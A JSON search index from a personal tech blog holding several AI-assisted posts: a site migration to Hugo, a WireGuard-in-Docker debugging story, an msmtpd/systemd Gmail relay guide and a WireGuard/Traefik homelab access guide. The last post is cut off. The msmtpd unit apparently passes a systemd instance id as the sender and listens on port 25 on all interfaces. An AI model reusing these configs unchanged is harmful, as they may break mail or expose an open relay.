[{"content":" Disclaimer: This blog post was written with the assistance of AI, working through the actual migration alongside me. The decisions, trade-offs, and the site you\u0026rsquo;re reading this on are the result of real work, not a generated demo.\nIf you\u0026rsquo;re reading this and everything mostly looks the same, that\u0026rsquo;s on purpose. If you\u0026rsquo;re reading this and a few things look different — the fonts, the tag cloud, the comments box — that\u0026rsquo;s also on purpose. This site has run on Jekyll since June 2011. As of today, it runs on Hugo, using the PaperMod theme.\nWhy bother Jekyll served this blog well for 15 years, but the toolchain around it had aged badly. The site was still built with Bootstrap 3, a Gulp/Less pipeline, jQuery-era JavaScript, and five custom Ruby plugins — one of which tried to hit the GitHub API with a hardcoded Windows credential path that hadn\u0026rsquo;t worked in years. Ruby builds had gotten slower and fussier to keep working across machines, and every \u0026ldquo;just add one feature\u0026rdquo; request meant fighting fifteen-year-old glue code before writing anything new.\nHugo builds this entire site — 278 posts, projects, tag pages, search index — in under half a second. That alone would have been worth it.\nWhat actually moved All 278 posts, front matter and all, including the syntax-highlighted code blocks and cross-post links that used to be Jekyll\u0026rsquo;s {% post_url %} tags. Projects, both the active list and a \u0026ldquo;legacy projects\u0026rdquo; page for the ones I\u0026rsquo;m not maintaining anymore. The weighted tag cloud — yes, the one where more-used tags render bigger. That was a custom Jekyll plugin; it\u0026rsquo;s now a custom Hugo shortcode doing the same 75%–280% font-size math. The URL scheme. Posts still live at /blog/YYYY/MM/DD/slug.html, exactly like before. Fifteen years of links pointing at this site from elsewhere shouldn\u0026rsquo;t start 404ing today. What changed Theme: PaperMod, dark by default, with the toggle removed entirely — this site is staying dark. I also pulled the original site\u0026rsquo;s fonts, link colors, and that repeating dark linen background back in, so the bones of the old design are still here under a much faster engine. Search: client-side, via Fuse.js, baked into the build. The old search box depended on a Google Custom Search widget that had quietly stopped working years ago. Comments: giscus, backed by GitHub Discussions, replacing Disqus. This is a clean break — old Disqus threads aren\u0026rsquo;t imported — but it means no ads, no tracking, and comments that live in the same place as the code. Deploys: a GitHub Actions workflow builds and publishes the site on every push. No more building locally and pushing a _site directory by hand. What got dropped A few things were dead weight and stayed dead: the GitHub API embeds mentioned above, the broken search widget, a Feedburner link nobody\u0026rsquo;s used in a decade, and an old Silverlight demo that no browser on Earth can still run.\nIf something looks broken This was a big, mostly-automated migration — content scripted and verified across all 278 posts, then reviewed, several times over. If you spot a broken link, a missing image, or something that used to work and doesn\u0026rsquo;t anymore, the comments below now go straight to a GitHub Discussion. Let me know.\n","permalink":"https://madhur.co.in/blog/2026/08/15/migrating-from-jekyll-to-hugo.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer\u003c/strong\u003e: This blog post was written with the assistance of AI, working through the actual migration alongside me. The decisions, trade-offs, and the site you\u0026rsquo;re reading this on are the result of real work, not a generated demo.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eIf you\u0026rsquo;re reading this and everything mostly looks the same, that\u0026rsquo;s on purpose. If you\u0026rsquo;re reading this and a few things look different — the fonts, the tag cloud, the comments box — that\u0026rsquo;s also on purpose. This site has run on \u003ca href=\"https://jekyllrb.com/\"\u003eJekyll\u003c/a\u003e since June 2011. As of today, it runs on \u003ca href=\"https://gohugo.io/\"\u003eHugo\u003c/a\u003e, using the \u003ca href=\"https://github.com/adityatelange/hugo-PaperMod\"\u003ePaperMod\u003c/a\u003e theme.\u003c/p\u003e","title":"This Blog Just Moved From Jekyll to Hugo"},{"content":" Disclaimer: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\nWireGuard Docker Configuration Drift: A Debugging Journey Recently, I encountered a frustrating networking issue with my containerized WireGuard VPN setup. My Android client could connect to the WireGuard server running in Docker, but couldn\u0026rsquo;t access the internet or any services. What started as a simple connectivity problem turned into a lesson about configuration drift and the importance of understanding how different network layers interact.\nThe Setup I was running WG-Easy in Docker Compose with a custom network configuration:\nservices: wg-easy: image: ghcr.io/wg-easy/wg-easy:15 container_name: wg-easy networks: wg: ipv4_address: 10.42.42.42 # Static IP in custom network volumes: - etc_wireguard:/etc/wireguard ports: - \u0026#34;51820:51820/udp\u0026#34; cap_add: - NET_ADMIN - SYS_MODULE # ... other config networks: wg: driver: bridge ipam: config: - subnet: 10.42.42.0/24 The container was running fine, WireGuard clients could connect, but they couldn\u0026rsquo;t reach the internet.\nThe Investigation Network Traffic Analysis Using tcpdump, I captured the network traffic and noticed something interesting:\n07:59:26.193202 IP RT-AC68U-4740.local.35734 \u0026gt; zk.docker.dev.https: Flags [P.] 08:05:27.821764 IP6 fdcc:ad94:bacf:61a4::cafe:2.39226 \u0026gt; whatsapp-chatd-edge6-shv-02-iad3.facebook.com.https 08:05:28.076785 IP 10.42.42.2.38844 \u0026gt; whatsapp-chatd-edge-shv-02-mia3.facebook.com.https The traffic showed:\nContainer was at 10.42.42.42 (Docker network IP) Android client was assigned 10.42.42.2 (VPN client IP) WireGuard handshakes were successful Everything looked normal from a network perspective, so I dug deeper.\nConfiguration Inspection Inside the WireGuard container, I found the first clue:\n$ docker exec -it wg-easy wg show interface: wg0 public key: gi/bShTv06aiw1x8NT48x93oS5gx9drWdUEUtJMUpQ0= listening port: 51820 peer: zEEv0Ig9h5zjHGYZMai06DSNnCsqgz7tD4oJK7JL0y0= allowed ips: 10.42.42.2/32 latest handshake: 1 minute, 48 seconds ago transfer: 469.18 KiB received, 4.66 KiB sent But then I checked the actual WireGuard interface:\n$ docker exec -it wg-easy ip addr show wg0 4: wg0: \u0026lt;POINTOPOINT,NOARP,UP,LOWER_UP\u0026gt; mtu 1420 qdisc noqueue state UNKNOWN inet 10.8.0.1/24 scope global wg0 # ← This was the problem! The Root Cause Here\u0026rsquo;s what was happening:\nComponent Expected IP Actual IP Status Docker Container 10.42.42.42 10.42.42.42 ✅ Correct WireGuard Server 10.42.42.1 10.8.0.1 ❌ Wrong WireGuard Client 10.42.42.2 10.8.0.2 ❌ Wrong NAT Rules 10.42.42.0/24 10.8.0.0/24 ❌ Wrong The WireGuard configuration file showed one thing, but the running interface used completely different IP ranges!\n$ docker exec -it wg-easy cat /etc/wireguard/wg0.conf [Interface] Address = 10.42.42.1/24 # Config file said this # But actual interface was 10.8.0.1/24 Why This Happened WG-Easy\u0026rsquo;s Auto-Configuration Behavior:\nWG-Easy automatically generates WireGuard configs on first startup It uses its own default VPN subnet (10.8.0.0/24) regardless of Docker network settings The Docker network (10.42.42.0/24) is for container-to-container communication The WireGuard network (10.8.0.0/24) is for VPN clients connecting to the server These networks are intentionally separate in WG-Easy\u0026rsquo;s design Configuration Drift: The config file (/etc/wireguard/wg0.conf) contained stale or template data that didn\u0026rsquo;t match the actual running configuration. This can happen when:\nContainer versions change behavior between updates Manual configuration edits conflict with auto-generated settings Persistent volumes retain old configs when you expect them to refresh The Debugging Process IP Forwarding: ✅ Enabled (/proc/sys/net/ipv4/ip_forward = 1) Container Internet Access: ✅ Working (ping 8.8.8.8 succeeded) WireGuard Interface: ❌ Wrong IP range NAT Rules: ❌ Only masquerading 10.8.0.0/24, not 10.42.42.0/24 $ docker exec -it wg-easy iptables -t nat -L POSTROUTING -n Chain POSTROUTING (policy ACCEPT) target prot opt source destination MASQUERADE all -- 10.8.0.0/24 0.0.0.0/0 # Only 10.8.x traffic! The Solution Rather than trying to manually fix the configuration drift, I chose to just re-create the wg-easy container\n# Complete teardown docker-compose down -v # Remove the persistent volume (destroys all WireGuard configs) docker volume rm $(docker volume ls -q | grep etc_wireguard) # Recreate everything docker-compose up -d Key Learnings 1. Understand Network Layer Separation Docker networks and VPN tunnels serve different purposes:\nDocker network: Container-to-container communication VPN network: Client-to-server tunnel communication Don\u0026rsquo;t assume they should use the same IP ranges.\nHave you encountered similar Docker networking issues? Share your debugging stories in the comments below!\n","permalink":"https://madhur.co.in/blog/2026/08/01/wireguard-docker-issue.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer\u003c/strong\u003e: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"wireguard-docker-configuration-drift-a-debugging-journey\"\u003eWireGuard Docker Configuration Drift: A Debugging Journey\u003c/h1\u003e\n\u003cp\u003eRecently, I encountered a frustrating networking issue with my containerized WireGuard VPN setup. My Android client could connect to the WireGuard server running in Docker, but couldn\u0026rsquo;t access the internet or any services. What started as a simple connectivity problem turned into a lesson about configuration drift and the importance of understanding how different network layers interact.\u003c/p\u003e","title":"WireGuard Docker Configuration Drift"},{"content":" Disclaimer: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\nSetting up a local SMTP daemon can be incredibly useful for applications that need to send emails. Instead of running a full-featured mail server like Postfix, you can use msmtpd with msmtp as a lightweight SMTP relay that forwards emails through external providers like Gmail. This guide shows you how to set up msmtpd with systemd socket activation for an efficient, on-demand mail relay service.\nWhy msmtpd + msmtp? msmtp is a lightweight SMTP client that can relay emails through external SMTP servers (like Gmail\u0026rsquo;s). msmtpd is the daemon version that provides a local SMTP server interface, making it perfect for:\nApplications that need to send emails via SMTP Development environments requiring mail functionality Lightweight mail relay without running a full mail server Gmail integration - easily send emails through your Gmail account Prerequisites Install the required packages:\n# Ubuntu/Debian sudo apt install msmtp msmtp-mta # Arch Linux sudo pacman -S msmtp # RHEL/CentOS/Fedora sudo dnf install msmtp Step 1: Configure msmtp Client First, create the msmtp configuration file. You can place it in /etc/msmtprc for system-wide use or ~/.msmtprc for user-specific configuration:\n# Create system-wide configuration sudo nano /etc/msmtprc Add your Gmail SMTP configuration:\n# Default values for all accounts defaults auth on tls on tls_trust_file /etc/ssl/certs/ca-certificates.crt logfile /var/log/msmtp.log # Gmail account configuration account gmail host smtp.gmail.com port 587 from your-email@gmail.com user your-email@gmail.com password your-app-password # Set default account account default : gmail Important: For Gmail, you\u0026rsquo;ll need to:\nEnable 2-factor authentication on your Google account Generate an App Password (not your regular password) Use the App Password in the configuration above Set proper permissions:\n# For system-wide config sudo chmod 600 /etc/msmtprc sudo chown root:root /etc/msmtprc # For user config chmod 600 ~/.msmtprc Step 2: Test msmtp Client Verify your msmtp configuration works:\n# Test the configuration echo \u0026#34;Test message body\u0026#34; | msmtp --debug your-recipient@gmail.com # Or use mail command echo \u0026#34;This is a test\u0026#34; | mail -s \u0026#34;Test Subject\u0026#34; your-recipient@gmail.com Step 3: Create systemd Socket Unit Now let\u0026rsquo;s set up the systemd socket that will listen on port 25:\nsudo systemctl edit --force --full msmtpd.socket Add the following configuration:\n[Unit] Description=msmtp daemon socket Documentation=man:msmtpd(1) [Socket] ListenStream=25 Accept=yes [Install] WantedBy=sockets.target Key points:\nListenStream=25 - Listen on SMTP port 25 Accept=yes - Each connection gets its own service instance Socket activation means the daemon only runs when needed Step 4: Create systemd Service Template Create the service template that handles incoming SMTP connections:\nsudo systemctl edit --force --full msmtpd@.service Add this configuration:\n[Unit] Description=msmtp daemon Documentation=man:msmtpd(1) [Service] ProtectHome=false PrivateTmp=true NoNewPrivileges=true StandardInput=socket ExecStart=/usr/bin/msmtpd --inet --command=\u0026#39;/usr/bin/msmtp -C /etc/msmtprc -f %i\u0026#39; Configuration explanation:\nProtectHome=false - Allows access to home directories (needed if config is in /home) StandardInput=socket - Receives the socket connection from systemd %i - systemd specifier replaced with instance identifier The @ in the filename makes this a template unit Step 5: Enable and Start the Socket # Reload systemd configuration sudo systemctl daemon-reload # Enable and start the socket sudo systemctl enable msmtpd.socket sudo systemctl start msmtpd.socket # Check status sudo systemctl status msmtpd.socket # Verify it\u0026#39;s listening on port 25 sudo ss -tlnp | grep :25 Testing Your SMTP Daemon netcat (Automated Test) { echo \u0026#34;EHLO localhost\u0026#34; sleep 1 echo \u0026#34;MAIL FROM:\u0026lt;your-email@gmail.com\u0026gt;\u0026#34; sleep 1 echo \u0026#34;RCPT TO:\u0026lt;ahuja.madhur@gmail.com\u0026gt;\u0026#34; sleep 1 echo \u0026#34;DATA\u0026#34; sleep 1 echo \u0026#34;Subject: Test via SMTP daemon\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34;This is a test message sent through the msmtpd daemon.\u0026#34; echo \u0026#34;.\u0026#34; sleep 1 echo \u0026#34;QUIT\u0026#34; } | nc localhost 25 Monitoring and Troubleshooting Check Service Status # Monitor socket status sudo systemctl status msmtpd.socket # Watch for active service instances watch \u0026#39;systemctl list-units | grep msmtpd@\u0026#39; # Check logs sudo journalctl -f -u msmtpd.socket -u \u0026#34;msmtpd@*\u0026#34; Socket Activation Benefits This setup provides several advantages:\nOn-demand activation: The daemon only runs when there are connections Resource efficient: No memory usage when idle Concurrent connections: Multiple simultaneous SMTP sessions Fast response: Socket is always ready, service starts instantly Automatic cleanup: Service instances exit after handling connections Sending to Gmail Successfully The beauty of this setup is that your local applications can send emails to Gmail (or any email address) through your local SMTP port 25, and msmtpd will relay them through Gmail\u0026rsquo;s SMTP servers. This is perfect for:\nWeb applications needing to send notifications System monitoring scripts sending alerts Development environments testing email functionality Any application that needs SMTP without running a full mail server Conclusion With msmtpd and systemd socket activation, you now have a lightweight, efficient SMTP relay that can send emails through Gmail. The socket activation ensures resources are only used when needed, while the template service allows handling multiple concurrent connections.\nYour applications can now send emails by connecting to localhost:25, and msmtpd will handle the relay through Gmail\u0026rsquo;s SMTP servers. This setup is perfect for development, testing, or production environments that need simple mail relay functionality without the complexity of a full mail server.\nHave questions or run into issues? The systemd journal (journalctl) is your friend for debugging, and the msmtp documentation (man msmtp) provides additional configuration options.\n","permalink":"https://madhur.co.in/blog/2026/07/01/setup-email-smtp-relay-gmail.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer\u003c/strong\u003e: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eSetting up a local SMTP daemon can be incredibly useful for applications that need to send emails. Instead of running a full-featured mail server like Postfix, you can use \u003ccode\u003emsmtpd\u003c/code\u003e with \u003ccode\u003emsmtp\u003c/code\u003e as a lightweight SMTP relay that forwards emails through external providers like Gmail. This guide shows you how to set up \u003ccode\u003emsmtpd\u003c/code\u003e with systemd socket activation for an efficient, on-demand mail relay service.\u003c/p\u003e","title":"Setting up SMTP Mail Relay with msmtpd and systemd Socket Activation"},{"content":" Disclaimer: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\nRunning a homelab is exciting, but security should never be an afterthought. In this guide, I\u0026rsquo;ll show you how to create a sophisticated setup where:\nPublic services remain accessible to everyone (like your blog or portfolio) Private services require VPN access (like admin panels, monitoring tools, or personal apps) Home network access works seamlessly when you\u0026rsquo;re at home VPN access is required when traveling We\u0026rsquo;ll use WireGuard for VPN connectivity and Traefik as our reverse proxy to intelligently route traffic based on your location.\nTable of Contents Architecture Overview Prerequisites Setting Up WireGuard with wg-easy Configuring Traefik for Selective Access Example Service Configurations Testing Your Setup Security Considerations Troubleshooting Architecture Overview Our setup creates three distinct access patterns:\n┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐ │ Internet │ │ Home Network │ │ VPN Clients │ │ (Public) │ │ (Trusted) │ │ (Secure) │ └─────────┬───────┘ └────────┬─────────┘ └─────────┬───────┘ │ │ │ │ │ │ ┌─────▼─────────────────────▼────────────────────────▼─────┐ │ Traefik │ │ (Reverse Proxy + SSL Termination) │ └─────┬─────────────────────┬────────────────────────┬─────┘ │ │ │ ┌─────▼─────┐ ┌─────▼─────┐ ┌─────▼─────┐ │ Public │ │ Mixed │ │ Private │ │ Services │ │ Services │ │ Services │ │ (Blog, │ │(Admin + │ │(Database, │ │ API) │ │ Public) │ │ Monitoring│ └───────────┘ └───────────┘ └───────────┘ Prerequisites Before we start, ensure you have:\nA server with Docker and Docker Compose installed A domain name with DNS pointing to your server Basic familiarity with Docker Compose Traefik already running (or follow the basic setup below) Basic Traefik Setup If you don\u0026rsquo;t have Traefik running yet, here\u0026rsquo;s a minimal configuration:\n# traefik/docker-compose.yml version: \u0026#39;3.8\u0026#39; services: traefik: image: traefik:v3.0 container_name: traefik command: - \u0026#34;--api.dashboard=true\u0026#34; - \u0026#34;--providers.docker=true\u0026#34; - \u0026#34;--providers.docker.exposedByDefault=false\u0026#34; - \u0026#34;--entrypoints.web.address=:80\u0026#34; - \u0026#34;--entrypoints.websecure.address=:443\u0026#34; - \u0026#34;--certificatesresolvers.letsencrypt.acme.tlschallenge=true\u0026#34; - \u0026#34;--certificatesresolvers.letsencrypt.acme.email=your-email@example.com\u0026#34; - \u0026#34;--certificatesresolvers.letsencrypt.acme.storage=/letsencrypt/acme.json\u0026#34; ports: - \u0026#34;80:80\u0026#34; - \u0026#34;443:443\u0026#34; volumes: - \u0026#34;/var/run/docker.sock:/var/run/docker.sock:ro\u0026#34; - \u0026#34;./letsencrypt:/letsencrypt\u0026#34; networks: - proxy-network labels: - \u0026#34;traefik.enable=true\u0026#34; - \u0026#34;traefik.http.routers.traefik.rule=Host(`traefik.yourdomain.com`)\u0026#34; - \u0026#34;traefik.http.routers.traefik.entrypoints=websecure\u0026#34; - \u0026#34;traefik.http.routers.traefik.tls.certresolver=letsencrypt\u0026#34; networks: proxy-network: external: true Create the network: docker network create proxy-network\nSetting Up WireGuard with wg-easy WireGuard Easy (wg-easy) v15 is a complete rewrite that simplifies VPN management significantly. Unlike previous versions, it uses a web-based setup wizard instead of environment variables.\nWireGuard Configuration # wireguard/docker-compose.yml version: \u0026#39;3.8\u0026#39; volumes: etc_wireguard: services: wg-easy: image: ghcr.io/wg-easy/wg-easy:15 container_name: wg-easy environment: # v15 requires minimal environment variables - INSECURE=false # Set to true if accessing via HTTP instead of HTTPS networks: proxy-network: {} # For Traefik access to web UI wg: # VPN network with static IPs ipv4_address: 10.42.42.42 ipv6_address: fdcc:ad94:bacf:61a3::2a volumes: - etc_wireguard:/etc/wireguard - /lib/modules:/lib/modules:ro ports: - \u0026#34;51820:51820/udp\u0026#34; # WireGuard VPN port (must be directly exposed) # Port 51821 is handled internally by Traefik restart: unless-stopped cap_add: - NET_ADMIN - SYS_MODULE sysctls: - net.ipv4.ip_forward=1 - net.ipv4.conf.all.src_valid_mark=1 - net.ipv6.conf.all.disable_ipv6=0 - net.ipv6.conf.all.forwarding=1 - net.ipv6.conf.default.forwarding=1 labels: # Traefik labels for HTTPS access to web management UI - \u0026#34;traefik.enable=true\u0026#34; - \u0026#34;traefik.http.routers.wg-easy.rule=Host(`wg.yourdomain.com`)\u0026#34; - \u0026#34;traefik.http.routers.wg-easy.entrypoints=websecure\u0026#34; - \u0026#34;traefik.http.routers.wg-easy.tls.certresolver=letsencrypt\u0026#34; - \u0026#34;traefik.http.services.wg-easy.loadbalancer.server.port=51821\u0026#34; - \u0026#34;traefik.docker.network=proxy-network\u0026#34; networks: wg: name: wg # Force exact network name driver: bridge enable_ipv6: true ipam: driver: default config: - subnet: 10.42.42.0/24 - subnet: fdcc:ad94:bacf:61a3::/64 proxy-network: external: true Initial Setup Deploy WireGuard:\ncd wireguard docker-compose up -d Access the setup wizard:\nVisit https://wg.yourdomain.com Complete the setup wizard: Server IP: Your server\u0026rsquo;s public IP Admin password: Choose a strong password VPN subnet: 10.42.42.0/24 DNS servers: 1.1.1.1, 8.8.8.8 Create your first VPN client:\nClick \u0026ldquo;Add Client\u0026rdquo; in the web UI Download the configuration or scan the QR code Test the connection Configuring Traefik for Selective Access Now comes the magic! We\u0026rsquo;ll create different access patterns using Traefik\u0026rsquo;s IP whitelisting middleware.\nAccess Pattern 1: Public Services These services are accessible from anywhere on the internet:\n# examples/public-service.yml services: blog: image: nginx:alpine container_name: blog volumes: - ./blog-content:/usr/share/nginx/html networks: - proxy-network labels: - \u0026#34;traefik.enable=true\u0026#34; - \u0026#34;traefik.http.routers.blog.rule=Host(`blog.yourdomain.com`)\u0026#34; - \u0026#34;traefik.http.routers.blog.entrypoints=websecure\u0026#34; - \u0026#34;traefik.http.routers.blog.tls.certresolver=letsencrypt\u0026#34; - \u0026#34;traefik.http.services.blog.loadbalancer.server.port=80\u0026#34; # No IP restrictions - publicly accessible networks: proxy-network: external: true Access Pattern 2: VPN + Home Network Only These services require either VPN access OR being on your home network:\n# examples/mixed-access-service.yml services: admin-panel: image: your-admin-app:latest container_name: admin-panel networks: - proxy-network labels: - \u0026#34;traefik.enable=true\u0026#34; - \u0026#34;traefik.http.routers.admin.rule=Host(`admin.yourdomain.com`)\u0026#34; - \u0026#34;traefik.http.routers.admin.entrypoints=websecure\u0026#34; - \u0026#34;traefik.http.routers.admin.tls.certresolver=letsencrypt\u0026#34; - \u0026#34;traefik.http.services.admin.loadbalancer.server.port=3000\u0026#34; # IP whitelist: VPN clients + home network + localhost - \u0026#34;traefik.http.routers.admin.middlewares=home-and-vpn\u0026#34; - \u0026#34;traefik.http.middlewares.home-and-vpn.ipwhitelist.sourcerange=10.42.42.0/24,192.168.1.0/24,127.0.0.1/32\u0026#34; networks: proxy-network: external: true Access Pattern 3: VPN-Only Services These services are only accessible through the VPN:\n# examples/vpn-only-service.yml services: monitoring: image: grafana/grafana:latest container_name: monitoring environment: - GF_SECURITY_ADMIN_PASSWORD=secure-password networks: - proxy-network volumes: - grafana_data:/var/lib/grafana labels: - \u0026#34;traefik.enable=true\u0026#34; - \u0026#34;traefik.http.routers.monitoring.rule=Host(`monitoring.yourdomain.com`)\u0026#34; - \u0026#34;traefik.http.routers.monitoring.entrypoints=websecure\u0026#34; - \u0026#34;traefik.http.routers.monitoring.tls.certresolver=letsencrypt\u0026#34; - \u0026#34;traefik.http.services.monitoring.loadbalancer.server.port=3000\u0026#34; # Strict VPN-only access - \u0026#34;traefik.http.routers.monitoring.middlewares=vpn-only\u0026#34; - \u0026#34;traefik.http.middlewares.vpn-only.ipwhitelist.sourcerange=10.42.42.0/24\u0026#34; volumes: grafana_data: networks: proxy-network: external: true Access Pattern 4: Network Isolation For maximum security, some services can be completely isolated from the internet:\n# examples/isolated-service.yml services: database: image: postgres:13 container_name: database environment: - POSTGRES_DB=homelab - POSTGRES_USER=admin - POSTGRES_PASSWORD=secure-password networks: - wg # Only connected to VPN network volumes: - postgres_data:/var/lib/postgresql/data # No Traefik labels - only accessible via direct IP when connected to VPN # Access via: postgresql://10.42.42.43:5432/homelab internal-api: image: your-internal-api:latest container_name: internal-api networks: wg: ipv4_address: 10.42.42.50 # Access via: http://10.42.42.50:8080 when connected to VPN volumes: postgres_data: networks: wg: external: true Example Service Configurations Let\u0026rsquo;s look at some real-world examples:\nChange Detection Service (Mixed Access) services: changedetection: image: ghcr.io/dgtlmoon/changedetection.io container_name: changedetection volumes: - ./data:/datastore restart: unless-stopped networks: - proxy-network labels: - \u0026#34;traefik.enable=true\u0026#34; - \u0026#34;traefik.http.routers.changedetection.rule=Host(`cd.yourdomain.com`)\u0026#34; - \u0026#34;traefik.http.routers.changedetection.entrypoints=websecure\u0026#34; - \u0026#34;traefik.http.routers.changedetection.tls.certresolver=letsencrypt\u0026#34; - \u0026#34;traefik.http.services.changedetection.loadbalancer.server.port=5000\u0026#34; # Allow home network and VPN access - \u0026#34;traefik.http.routers.changedetection.middlewares=home-and-vpn\u0026#34; - \u0026#34;traefik.http.middlewares.home-and-vpn.ipwhitelist.sourcerange=10.42.42.0/24,192.168.1.0/24,127.0.0.1/32\u0026#34; networks: proxy-network: external: true Portainer (VPN-Only) services: portainer: image: portainer/portainer-ce:latest container_name: portainer command: -H unix:///var/run/docker.sock volumes: - /var/run/docker.sock:/var/run/docker.sock - portainer_data:/data networks: - proxy-network labels: - \u0026#34;traefik.enable=true\u0026#34; - \u0026#34;traefik.http.routers.portainer.rule=Host(`portainer.yourdomain.com`)\u0026#34; - \u0026#34;traefik.http.routers.portainer.entrypoints=websecure\u0026#34; - \u0026#34;traefik.http.routers.portainer.tls.certresolver=letsencrypt\u0026#34; - \u0026#34;traefik.http.services.portainer.loadbalancer.server.port=9000\u0026#34; # VPN-only access for security - \u0026#34;traefik.http.routers.portainer.middlewares=vpn-only\u0026#34; - \u0026#34;traefik.http.middlewares.vpn-only.ipwhitelist.sourcerange=10.42.42.0/24\u0026#34; volumes: portainer_data: networks: proxy-network: external: true Testing Your Setup 1. Test Public Access # Should work from anywhere curl -I https://blog.yourdomain.com # Expected: 200 OK 2. Test VPN-Only Access # Without VPN - should be blocked curl -I https://monitoring.yourdomain.com # Expected: 403 Forbidden # With VPN connected - should work curl -I https://monitoring.yourdomain.com # Expected: 200 OK 3. Test Mixed Access # From home network - should work curl -I https://admin.yourdomain.com # Expected: 200 OK # From mobile data (without VPN) - should be blocked curl -I https://admin.yourdomain.com # Expected: 403 Forbidden # From mobile data (with VPN) - should work curl -I https://admin.yourdomain.com # Expected: 200 OK 4. Monitor Access Logs # Monitor Traefik logs for IP restrictions docker logs traefik --tail 50 | grep -E \u0026#34;(403|Forbidden|ipwhitelist)\u0026#34; # Monitor successful VPN connections docker logs wg-easy --tail 20 Security Considerations Understanding IP Ranges It\u0026rsquo;s crucial to understand how IP whitelisting works:\n10.42.42.0/24: Your VPN clients (WireGuard users) 192.168.1.0/24: Your home network (adjust to match your router\u0026rsquo;s range) 127.0.0.1/32: Server localhost access Why Private IPs Are Safe When you\u0026rsquo;re at a friend\u0026rsquo;s house with WiFi using 192.168.1.x:\nYour device gets 192.168.1.50 (friend\u0026rsquo;s network) Friend\u0026rsquo;s router has public IP 203.45.67.89 Traefik sees: 203.45.67.89 (blocked!) Not: 192.168.1.50 (which would be allowed) Private IP ranges only work for actual local network access, not internet requests from similar ranges elsewhere.\nFirewall Configuration # Allow WireGuard VPN port sudo ufw allow 51820/udp # Allow HTTPS (Traefik) sudo ufw allow 443/tcp # Allow HTTP (for redirects) sudo ufw allow 80/tcp # Block direct access to service ports sudo ufw deny 5000 # Example: block direct access to change detection sudo ufw deny 3000 # Example: block direct access to Grafana Additional Security Measures Use strong passwords for all admin interfaces Enable 2FA where available (WireGuard Easy v15 supports TOTP) Regular updates of all containers Monitor access logs for suspicious activity Backup configurations regularly # Backup WireGuard configs docker exec wg-easy cat /etc/wireguard/wg0.json \u0026gt; backup-$(date +%Y%m%d).json # Backup Traefik dynamic config cp -r traefik/ backup-traefik-$(date +%Y%m%d)/ Troubleshooting Common Issues and Solutions Issue: 404 Not Found from Traefik # Check if container is in proxy-network docker network inspect proxy-network | grep your-service # Verify Traefik can reach the service docker exec traefik ping your-service-container Issue: VPN Clients Can\u0026rsquo;t Access Services # Check WireGuard client logs # On client: wg show # Verify routing # On server: docker exec wg-easy wg show ip route | grep wg0 Issue: IP Whitelisting Not Working # Check what IP Traefik sees docker logs traefik --tail 50 | grep your-domain # Test IP detection curl -H \u0026#34;X-Real-IP: 10.42.42.5\u0026#34; https://your-service.com Issue: Certificate Errors # Check certificate resolver docker logs traefik | grep -i acme # Verify DNS propagation dig your-domain.com Network Debugging # List all Docker networks docker network ls # Inspect specific network docker network inspect wg docker network inspect proxy-network # Check container network connections docker inspect your-container | grep -A 20 \u0026#34;Networks\u0026#34; # Test connectivity between containers docker exec container1 ping container2 Conclusion This setup gives you the best of both worlds: convenience when you\u0026rsquo;re at home and security when you\u0026rsquo;re traveling. You can:\nAccess everything normally when on your home network Use VPN for sensitive services when traveling Keep some services completely public for legitimate external access Isolate critical services that should never touch the internet Happy homelabbing! 🏠🔧\nWhat services are you planning to add to your homelab? Share your setup in the comments below!\n","permalink":"https://madhur.co.in/blog/2026/06/01/secure-homelab-wireguard-docker-traefik.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer\u003c/strong\u003e: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eRunning a homelab is exciting, but security should never be an afterthought. In this guide, I\u0026rsquo;ll show you how to create a sophisticated setup where:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePublic services\u003c/strong\u003e remain accessible to everyone (like your blog or portfolio)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePrivate services\u003c/strong\u003e require VPN access (like admin panels, monitoring tools, or personal apps)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHome network access\u003c/strong\u003e works seamlessly when you\u0026rsquo;re at home\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVPN access\u003c/strong\u003e is required when traveling\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWe\u0026rsquo;ll use \u003cstrong\u003eWireGuard\u003c/strong\u003e for VPN connectivity and \u003cstrong\u003eTraefik\u003c/strong\u003e as our reverse proxy to intelligently route traffic based on your location.\u003c/p\u003e","title":"Secure Your Homelab: Exposing Services Selectively with WireGuard VPN and Traefik"},{"content":" Disclaimer: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\nWhen building monitoring scripts or automation tools in Python, you often need to send email notifications. While you could use Python\u0026rsquo;s built-in smtplib directly with Gmail, this approach requires hardcoding credentials in your code. A cleaner solution is to use msmtp as an email relay, keeping your authentication separate from your Python scripts.\nIn this guide, we\u0026rsquo;ll set up msmtp with Gmail and create Python scripts that can send emails without exposing credentials.\nWhy Use msmtp? Security: Keep Gmail credentials out of your Python code Centralized Configuration: One configuration file for all scripts Lightweight: No need for heavy mail servers like Postfix Reliable: Battle-tested SMTP client Easy Maintenance: Change email providers without touching your code Prerequisites Linux system with msmtp installed Gmail account with 2-Factor Authentication enabled Python 3.6+ Step 1: Install 